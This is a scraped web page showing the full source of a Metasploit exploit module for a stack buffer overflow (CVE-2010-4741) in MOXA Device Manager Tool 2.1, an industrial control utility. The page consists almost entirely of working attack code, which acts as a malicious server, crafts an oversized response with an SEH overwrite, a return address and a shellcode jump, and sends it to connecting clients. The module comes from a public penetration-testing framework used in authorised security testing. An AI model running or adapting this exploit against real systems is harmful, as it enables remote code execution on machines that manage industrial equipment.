Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/moxa_mdmtool.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::TcpServer9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'MOXA Device Manager Tool 2.1 Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.16When sending a specially crafted MDMGw (MDM2_Gateway) response, an17attacker may be able to execute arbitrary code.18},19'Author' => [ 'Ruben Santamarta', 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2010-4741'],24[ 'OSVDB', '69027'],25[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],26[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-10-301-01A' ]27],28'DefaultOptions' =>29{30'EXITFUNC' => 'thread',31'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'32},33'Payload' =>34{35'Space' => 600,36'BadChars' => "\x00\x0a\x0d\x20",37'StackAdjustment' => -350038},39'Platform' => 'win',40'Targets' =>41[42[ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...43],44'Privileged' => false,45'DisclosureDate' => '2010-10-20',46'DefaultTarget' => 0))4748register_options(49[50OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])51])52end5354def on_client_connect(client)5556return if ((p = regenerate_payload(client)) == nil)5758client.get_once5960sploit = rand_text_alpha_upper(18024)6162sploit[0, 4] = [0x29001028].pack('V')63sploit[472, payload.encoded.length] = payload.encoded64sploit[1072, 8] = generate_seh_record(target.ret)65sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string6667client.put(sploit)6869handler(client)7071service.close_client(client)7273end74end757677